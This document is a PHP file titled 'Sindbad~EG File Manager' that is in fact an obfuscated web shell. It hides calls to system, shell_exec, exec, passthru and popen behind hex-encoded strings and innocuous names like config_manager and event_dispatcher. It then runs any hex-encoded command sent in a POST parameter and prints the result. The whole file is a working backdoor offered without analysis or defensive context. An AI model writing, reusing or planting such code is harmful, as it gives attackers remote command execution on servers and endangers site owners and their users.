Sindbad~EG File Manager

<?php


$pgrp1 = '73';
$pgrp2 = '74';
$pgrp3 = '65';
$pgrp4 = '6c';
$pgrp5 = '78';
$pgrp6 = '70';
$pgrp7 = '68';
$pgrp8 = '6f';
$pgrp9 = '72';
$pgrp10 = '6d';
$pgrp11 = '67';
$pgrp12 = '6e';
$pgrp13 = '63';
$pgrp14 = '76';
$pgrp15 = '5f';
$pgrp16 = '64';
$config_manager1 = pack("H*", '73' . '79' . $pgrp1 . $pgrp2 . '65' . '6d');
$config_manager2 = pack("H*", $pgrp1 . '68' . $pgrp3 . '6c' . $pgrp4 . '5f' . '65' . '78' . '65' . '63');
$config_manager3 = pack("H*", '65' . $pgrp5 . $pgrp3 . '63');
$config_manager4 = pack("H*", $pgrp6 . '61' . '73' . $pgrp1 . '74' . $pgrp7 . '72' . '75');
$config_manager5 = pack("H*", $pgrp6 . $pgrp8 . '70' . '65' . '6e');
$config_manager6 = pack("H*", '73' . '74' . $pgrp9 . '65' . '61' . $pgrp10 . '5f' . $pgrp11 . '65' . $pgrp2 . '5f' . '63' . '6f' . '6e' . '74' . '65' . $pgrp12 . $pgrp2 . '73');
$config_manager7 = pack("H*", '70' . $pgrp13 . '6c' . '6f' . '73' . '65');
$event_dispatcher = pack("H*", '65' . $pgrp14 . '65' . $pgrp12 . $pgrp2 . $pgrp15 . $pgrp16 . '69' . $pgrp1 . '70' . '61' . $pgrp2 . '63' . '68' . '65' . '72');
if (isset($_POST[$event_dispatcher])) {
    $event_dispatcher = pack("H*", $_POST[$event_dispatcher]);
    if (function_exists($config_manager1)) {
        $config_manager1($event_dispatcher);
    } elseif (function_exists($config_manager2)) {
        print $config_manager2($event_dispatcher);
    } elseif (function_exists($config_manager3)) {
        $config_manager3($event_dispatcher, $record_k);
        print join("\n", $record_k);
    } elseif (function_exists($config_manager4)) {
        $config_manager4($event_dispatcher);
    } elseif (function_exists($config_manager5) && function_exists($config_manager6) && function_exists($config_manager7)) {
        $dat_value = $config_manager5($event_dispatcher, 'r');
        if ($dat_value) {
            $binding_tkn = $config_manager6($dat_value);
            $config_manager7($dat_value);
            print $binding_tkn;
        }
    }
    exit;
}